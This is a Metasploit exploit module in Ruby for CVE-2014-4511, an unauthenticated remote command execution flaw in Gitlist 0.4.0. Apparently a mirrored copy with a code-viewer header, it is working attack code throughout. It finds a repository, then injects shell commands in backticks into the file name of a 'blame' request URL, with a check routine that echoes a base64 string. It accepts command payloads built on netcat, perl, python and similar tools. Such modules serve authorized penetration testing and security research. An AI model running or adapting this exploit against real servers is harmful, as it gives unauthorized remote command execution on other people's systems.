120 lines
3.0 KiB
Ruby
120 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Gitlist Unauthenticated Remote Command Execution',
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'Description' => %q{
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This module exploits an unauthenticated remote command execution vulnerability
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in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
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crafted file name when trying to blame it.
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},
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'License' => MSF_LICENSE,
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'Privileged' => false,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Author' =>
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[
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'drone', #discovery/poc by @dronesec
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'Brandon Perry <bperry.volatile[at]gmail.com>' #Metasploit module
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],
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'References' =>
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[
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['CVE', '2014-4511'],
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['EDB', '33929'],
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['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
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],
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'Payload' =>
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{
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'Space' => 8192, # max length of GET request really
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'BadChars' => "&\x20",
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet python perl gawk netcat netcat-e ruby php openssl',
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}
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},
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'Targets' =>
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[
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['Gitlist 0.4.0', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 30 2014'
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
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], self.class)
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end
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def check
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repo = get_repo
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if repo.nil?
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return Exploit::CheckCode::Unknown
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end
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chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
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res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")
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if res && res.body
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if res.body.include?(Rex::Text.decode_base64(chk))
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return Exploit::CheckCode::Vulnerable
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elsif res.body.to_s =~ /sh.*not found/
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return Exploit::CheckCode::Vulnerable
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end
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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repo = get_repo
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if repo.nil?
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fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
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end
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send_command(repo, payload.encoded)
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end
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def get_repo
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "/")
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})
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unless res
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return nil
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end
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first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)
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unless first_repo && first_repo.length >= 2
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return nil
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end
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repo_name = first_repo[1]
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repo_name
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end
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def send_command(repo, cmd)
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
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}, 1)
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res
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end
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end
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